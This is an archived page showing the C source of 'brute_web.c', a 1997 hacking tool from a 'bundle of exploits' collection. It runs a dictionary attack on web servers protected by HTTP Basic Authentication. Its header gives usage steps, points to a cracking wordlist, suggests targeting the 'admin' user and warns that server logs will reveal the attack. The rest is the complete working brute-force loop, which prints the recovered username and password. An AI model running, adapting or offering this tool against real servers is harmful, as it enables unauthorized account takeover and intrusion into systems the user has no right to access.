home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / brute_web.c < prev    next >
Text File  |  1998-07-17  |  12KB  |  513 lines

  1. /* 
  2.  *
  3.  *
  4.  *   Brute Force your way into a Web Server.
  5.  *   -Works best on computers in the same subnet :-)
  6.  *   Coded by BeastMaster V on April 24, 1997.
  7.  *   Email questions or comments to:
  8.  *             bryan@scott.net
  9.  *   
  10.  *   In order to use this:
  11.  *   1) Get a dictionary file.
  12.  *      http://www.rootshell.com/hacking/crack_dict.txt.gz
  13.  *   2) Compile this program, and run it. The arguments are-
  14.  *      username dictfile hostname port
  15.  *         << most websites have 'admin' as a user >>
  16.  *   3) Wait for user name and password to appear.
  17.  *   
  18.  *   NOTE: If you want to see the webserver's response,
  19.  *   define VERBOSE when compiling.
  20.  *
  21.  *   WARNING: If the webserver logs, it will 
  22.  *   be obvious that you are attacking!
  23.  *
  24.  *   DISCLAIMER: Please use this program in a 
  25.  *   responsible manner.
  26.  *
  27.  */
  28.  
  29. #include <errno.h>
  30. #include <signal.h>
  31. #include <stdio.h>
  32. #include <string.h>
  33. #include <string.h>
  34. #include <sys/types.h>
  35. #include <sys/wait.h>
  36. #include <sys/time.h>
  37. #include <sys/stat.h>
  38. #include <sys/ioctl.h>
  39. #include <sys/resource.h>
  40. #include <sys/socket.h>
  41. #include <sys/wait.h>
  42. #include <sys/stat.h>
  43. #include <termio.h>
  44. #include <netinet/in.h>
  45. #include <netdb.h>
  46. #include <unistd.h>
  47. #include <fcntl.h>
  48. #include <sys/errno.h>
  49.  
  50. extern int errno;
  51.  
  52. /* Change this to whatever document you want to get off the web server */
  53. #define DEFAULT_DOCUMENT "/"
  54.  
  55. char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  56.                   "0123456789+/";
  57.  
  58. unsigned char buf_64[512];
  59. unsigned short socket_timeout=20;
  60. char line[2048];
  61.  
  62. enum TOKENTYPE { NONE, BLANKS, PUNCT, TAG, NAME, CONTENT };
  63.  
  64. struct TOKEN {
  65.                 char *text;
  66.                 int  length;
  67.                 int  index;
  68.                 enum TOKENTYPE type;
  69.              };
  70.  
  71. struct BASE64_PARAMS {
  72.                         unsigned long int accum;
  73.                         int               shift;
  74.                         int               save_shift;
  75.                      };
  76.  
  77. int read_dict_file ( char *buff, FILE *f )
  78. {
  79. int b, i;
  80. *buff = 0;
  81. do {
  82.         while ((b = fgetc(f)) != EOF && (b == ' ' || b == '\t' || b == '\n' || b == '\r'));
  83.         if ( b == EOF ) return(0);
  84.         for ( i = 0; b != EOF && b != '\n' && b != '\r'; i++ )
  85.         {
  86.             buff[i] = (b == '\t') ? ' ': b;
  87.             b = fgetc(f);
  88.         }
  89.         buff[i] = 0;
  90.    }
  91.    while (*buff == '#');
  92.  
  93.    return(1);
  94. }
  95.  
  96. void    (*
  97. r_signal(sig, func, fd_socket, fd_accept)) (int)
  98. int     sig;
  99. void    (*func) ();
  100. int fd_socket;
  101. int fd_accept;
  102. {
  103.         struct sigaction act, oact;
  104.  
  105.         act.sa_handler = func;
  106.  
  107.         sigemptyset(&act.sa_mask);
  108.         act.sa_flags = 0;
  109. #ifdef SA_RESTART
  110.         act.sa_flags |= SA_RESTART;
  111. #endif
  112.  
  113.         if (sigaction(sig, &act, &oact) < 0)
  114.                 return (SIG_ERR);
  115.  
  116.         return (oact.sa_handler);
  117. }
  118.  
  119.  
  120. /* Read 'n' bytes from a descriptor  */
  121. int readn(fd, ptr, nbytes)
  122. register int fd;
  123. register char *ptr;
  124. register int nbytes;
  125. {
  126.         int nleft, nread;
  127.  
  128.         nleft=nbytes;
  129.         while(nleft > 0) {
  130.                 nread=read(fd,ptr,nleft);
  131.                 if (nread<0)
  132.                         return(nread);
  133.                 else if (nread==0)
  134.                         break;
  135.  
  136.                 nleft -=nread;
  137.                 ptr +=nread;
  138.         }
  139.         return(nbytes-nleft);
  140. }
  141.  
  142. /* Write 'n' bytes to a descriptor */
  143. int writen(fd, ptr, nbytes)
  144. register int fd;
  145. register char *ptr;
  146. register int nbytes;
  147. {
  148.         int nleft, nwritten;
  149.  
  150.         nleft=nbytes;
  151.         while(nleft > 0) {
  152.                 nwritten=write(fd, ptr, nleft);
  153.                 if(nwritten <= 0)
  154.                         return(nwritten);
  155.  
  156.                 nleft -= nwritten;
  157.                 ptr += nwritten;
  158.         }
  159.         return(nbytes-nleft);
  160. }
  161.  
  162. char * dateTime()
  163. {
  164.         time_t t;
  165.         char * s;
  166.  
  167.         time(&t);
  168.         s = (char *)ctime((const time_t *)&t);
  169.         s[24] = '\0';
  170.         return s;
  171. }
  172.  
  173. void handle_SIGSEGV (void)
  174. {
  175.         fprintf(stderr, "\nSegmentation Violation! [%s]\n", dateTime());
  176.         exit(1);
  177. }
  178.  
  179. void handle_SIGINT (void)
  180. {
  181.         fprintf(stderr, "\nSignal Interrupt! [%s]\n", dateTime());
  182.         exit(1);
  183. }
  184.  
  185.  
  186. void sendln(int s, char buf[1024]) {
  187.     writen(s, buf, strlen(buf), 0);
  188. }
  189.  
  190. int readln(int s)
  191. {
  192.         int i,done=0,w, result;
  193.         char tmp[1];
  194.         struct timeval timeout;
  195.         fd_set inputs;
  196.  
  197.         sprintf(line,"");
  198.         i = 0;
  199.  
  200.         while (!done) {
  201.                 FD_ZERO(&inputs);
  202.                 FD_SET(s, &inputs);
  203.                 timeout.tv_sec = socket_timeout;
  204.                 timeout.tv_usec = 0;
  205.  
  206.                 result = select(FD_SETSIZE, &inputs,(fd_set *)0, (fd_set *)0,
  207.                                                                 &timeout);
  208.                 switch(result) {
  209.                 case 0:
  210.                         printf("\n\nSocket Timeout\n");
  211.                         exit(1);
  212.                         break;
  213.                 case -1:
  214.                         perror("select");
  215.                         exit(1);
  216.                         break;
  217.                 default:
  218.                         w=readn(s ,tmp, 1);
  219.                         break;
  220.                 }
  221.                 if (w==0)  return 0;
  222.                 if (tmp[0] != 0) {
  223.                         line[i] = tmp[0];
  224.                 }
  225.                 if (line[i] == '\n') {
  226.                         done = 1;
  227.                 }
  228.                 i++;
  229.         }
  230.         line[i] = 0;
  231.         return (i);
  232. }
  233.  
  234. /* Code to call out on a socket */
  235. int call_socket(hostname, portnum)
  236. char *hostname;
  237. u_short portnum;
  238. {
  239.         struct sockaddr_in sa;
  240.         struct hostent *hp;
  241.         int a, s, foo=1;
  242.     
  243.         if ((hp= gethostbyname(hostname)) == NULL) { /* do we know the host's */
  244.                 errno= ECONNREFUSED; /* address? */
  245.                 return(-1); /* no */
  246.         }
  247.  
  248.         bzero(&sa,sizeof(sa));
  249.         bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); /* set address */
  250.         sa.sin_family= hp->h_addrtype;
  251.         sa.sin_port= htons((u_short)portnum);
  252.  
  253.         if ((s= socket(hp->h_addrtype,SOCK_STREAM,0)) < 0) /* get socket */
  254.                 return(-1);
  255.  
  256. #ifdef SOCKET_OPTS
  257.         /* set socket options so we can try multiple connects */
  258.         if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *)&foo, sizeof(foo)) ==-1) {
  259.                 fprintf(stderr, "Error setting SO_REUSEADDR socket option in call_socket!\n");
  260.                 fflush((FILE *)stderr);
  261.                 exit(1);
  262.         }
  263. #endif
  264.  
  265.         if (connect(s,(struct sockaddr *)&sa,sizeof sa) < 0) { /* connect */
  266.         perror("connect failed");
  267.         exit(1);
  268.     }
  269.  
  270.         return(s);
  271. }
  272.  
  273. int base64_encode( int quit, struct BASE64_PARAMS *e_p,
  274.                    char *string_to_encode )
  275. {
  276.    int index;
  277.    unsigned long int value;
  278.    unsigned char blivit;
  279.    int z=0;
  280.  
  281.    index = 0;
  282.    while ( ( *(string_to_encode+z) ) || (e_p->shift != 0) )
  283.    {
  284.       if ( ( *(string_to_encode+z) ) && ( quit == 0 ) )
  285.       {
  286.          blivit = *(string_to_encode +z);
  287.      z++;
  288.  
  289.          if ( *(string_to_encode+z)==0 )
  290.          {
  291.             quit = 1;
  292.             e_p->save_shift = e_p->shift;
  293.             blivit = 0;
  294.          }
  295.       }
  296.       else
  297.       {
  298.          quit = 1;
  299.          e_p->save_shift = e_p->shift;
  300.          blivit = 0;
  301.       }
  302.  
  303.       if ( (quit == 0) || (e_p->shift != 0) )
  304.       {
  305.          value = (unsigned long)blivit;
  306.          e_p->accum <<= 8;
  307.          e_p->shift += 8;
  308.          e_p->accum |= value;
  309.       } /* ENDIF */
  310.  
  311.       while ( e_p->shift >= 6 )
  312.       {
  313.          e_p->shift -= 6;
  314.          value = (e_p->accum >> e_p->shift) & 0x3Fl;
  315.          blivit = alphabet[value];
  316.  
  317.          buf_64[index++] = blivit;
  318.          if ( index >= 60 )
  319.          {
  320.             buf_64[index] = '\0';
  321.             /* printf( "%s\n", buf_64 ); */
  322.             index = 0;
  323.          }
  324.  
  325.          if ( quit != 0 )
  326.          {
  327.             e_p->shift = 0;
  328.          }
  329.       }
  330.    }
  331.  
  332.    if      ( e_p->save_shift == 2 )
  333.    {
  334.       buf_64[index++] = '=';
  335.       if ( index >= 60 )
  336.       {
  337.          buf_64[index] = '\0';
  338.          /* printf( "%s\n", buf_64 ); */
  339.          index = 0;
  340.       }
  341.  
  342.       buf_64[index++] = '=';
  343.       if ( index >= 60 )
  344.       {
  345.          buf_64[index] = '\0';
  346.          /* printf(  "%s\n", buf_64 ); */
  347.          index = 0;
  348.       }
  349.    }
  350.    else if ( e_p->save_shift == 4 )
  351.    {
  352.       buf_64[index++] = '=';
  353.       if ( index >= 60 )
  354.       {
  355.          buf_64[index] = '\0';
  356.          /* printf( "%s\n", buf_64 ); */
  357.          index = 0;
  358.       }
  359.    }
  360.  
  361.    if ( index != 0 )
  362.    {
  363.       /* buf_64[index-1]='='; */
  364.       buf_64[index] = '\0';
  365.       /* printf( "%s\n", buf_64 ); */
  366.    }
  367.  
  368.    return quit;
  369. }
  370.  
  371. void encode_string (char *namepass) 
  372. {
  373.   struct BASE64_PARAMS e_p;
  374.   int quit=0;
  375.   register int i;
  376.   char * some;
  377.  
  378.   e_p.shift = 0;
  379.   e_p.accum = 0;
  380.   
  381.   some=(char *)malloc(256);
  382.  
  383.   /* Nasty hack (forgive the lame coding...) */
  384.   some = (char *)namepass;
  385.   for (i=0;*(some+i);i++);
  386.   *(some+i)=*(some+i-1);
  387.   *(some+i+1)='\0'; 
  388.  
  389.   base64_encode(quit, &e_p, (char *)some);
  390. }
  391.  
  392.  
  393. void sorry (void) 
  394. {
  395.                 printf("\nSorry, but I could not get in.\n");
  396.                 printf("There are two reasons why:\n");
  397.                 printf("1) The user (argv[1]) does not exist on the webserver.\n");
  398.                 printf("2) The user exists, but his/her passwd was not in your dict_file.\n");
  399.                 printf("Have a Nice Day. :-)\n\n");
  400.                 exit(0);
  401. }
  402.  
  403. void usage(char *prog_name)
  404. {
  405.     printf("\nUsage: ");
  406.     printf("[%s] username dictfile hostname port\n", prog_name);
  407.     printf("\n");
  408.     exit(0);
  409. }
  410.  
  411. int main ( argc, argv )
  412. unsigned int argc;
  413. char **argv;
  414. {
  415.  
  416.    FILE * dict_fd=NULL;
  417.    struct hostent *hp;
  418.    unsigned short web_port=0;
  419.    int sock_fd=0;
  420.    char * dict_word=NULL;
  421.    char export_buff[1024];
  422.    char * encoded_buffer=NULL;
  423.    unsigned short finish_flag=1, success=0;
  424.    int foo;
  425.  
  426.     if ( argc !=5 )
  427.         usage(argv[0]);
  428.  
  429.     r_signal(SIGSEGV, handle_SIGSEGV);
  430.     r_signal(SIGINT, handle_SIGINT);
  431.  
  432.     dict_word= (char *)malloc (256);
  433.     
  434.        if ((dict_fd=fopen(argv[2], "r"))==NULL ) {
  435.         fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n",
  436.         argv[2], strerror(errno));
  437.         exit(1);
  438.     }
  439.  
  440.     if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) {
  441.         fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]);
  442.         exit(1);
  443.     }
  444.  
  445.     web_port = atoi(argv[4]);
  446.  
  447.     encoded_buffer=(char *)malloc(512);
  448.  
  449.     while (read_dict_file(dict_word, dict_fd)) {
  450.         if ((sock_fd=call_socket(argv[3], web_port))==-1) {
  451.             perror("socket connection");
  452.             exit(1);
  453.         }
  454.  
  455. #ifndef SOLARIS
  456.                 if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) {
  457.                         perror("ioctl");
  458.                         exit(1);
  459.                    }
  460. #else
  461.         if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) {
  462.              perror("ioctl");
  463.              exit(1);
  464.         }
  465.  
  466. #endif
  467.         sprintf(export_buff, "GET / HTTP/1.0\n");
  468.         sendln(sock_fd, export_buff);
  469.     
  470.         sprintf(encoded_buffer, "%s:%s", argv[1], dict_word);
  471.         encode_string(encoded_buffer);
  472.         sprintf(export_buff, "Authorization: Basic %s\n\n", buf_64);
  473.         sendln(sock_fd, export_buff);
  474.  
  475.         memset(line, '\0', sizeof(line));
  476.         while( readln(sock_fd)) {
  477.  
  478. #ifdef VERBOSE
  479.         printf("%s", line);
  480.         fflush((FILE *)stdout);
  481. #endif
  482.  
  483.                 /* Change this to a more sophisticated test. */
  484.             /* This test is pretty lame, but works for */
  485.                 /* all practical purposes. */
  486.         if (strstr(line, "nauthorized"))  
  487.             finish_flag=0;
  488.         }
  489.  
  490.         if (finish_flag) {
  491.             close(sock_fd);
  492.             finish_flag=1;
  493.             success=1;
  494.             break;
  495.         }
  496.  
  497.         finish_flag=1;
  498.          close(sock_fd);
  499.  
  500.     }
  501.  
  502.     fclose(dict_fd);
  503.     if (!success) 
  504.         sorry();
  505.     else {
  506.         printf("\n\nThe UserName is: %s\n", argv[1]);
  507.         printf("The Password is: %s\n", dict_word);
  508.         printf("\n\n\n ---- Coded by BeastMaster V ----\n");
  509.         exit(0);
  510.     }
  511.  
  512. }
  513.